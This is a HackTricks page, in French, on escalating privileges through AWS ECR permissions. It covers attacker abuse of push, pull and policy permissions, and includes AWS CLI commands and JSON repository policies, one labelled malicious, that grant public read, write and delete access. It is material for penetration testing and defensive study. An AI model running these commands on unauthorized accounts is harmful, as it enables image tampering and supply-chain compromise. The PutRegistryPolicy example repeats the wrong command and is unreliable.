AWS - ECR Privesc

Support HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un attaquant avec le ecr:GetAuthorizationToken et ecr:BatchGetImage peut se connecter à ECR et télécharger des images.

Pour plus d'informations sur la façon de télécharger des images :

AWS - ECR Post Exploitation

Impact potentiel : Privesc indirect en interceptant des informations sensibles dans le trafic.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un attaquant avec toutes ces autorisations peut se connecter à ECR et télécharger des images. Cela peut être utile pour élever les privilèges vers d'autres environnements où ces images sont utilisées.

Pour apprendre à télécharger une nouvelle image/mettez-en à jour une, consultez :

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Comme la section précédente, mais pour les dépôts publics.

ecr:SetRepositoryPolicy

Un attaquant avec cette autorisation pourrait changer la politique du dépôt pour se donner (ou même à tout le monde) un accès en lecture/écriture. Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenu de my-policy.json :

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Comme la section précédente, mais pour les dépôts publics. Un attaquant peut modifier la politique du dépôt d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour élever ses privilèges.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impact potentiel : Accès public non autorisé au dépôt ECR Public, permettant à tout utilisateur de pousser, tirer ou supprimer des images.

ecr:PutRegistryPolicy

Un attaquant avec cette permission pourrait changer la politique de registre pour se donner, à son compte (ou même à tout le monde) un accès en lecture/écriture.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Soutenir HackTricks

Last updated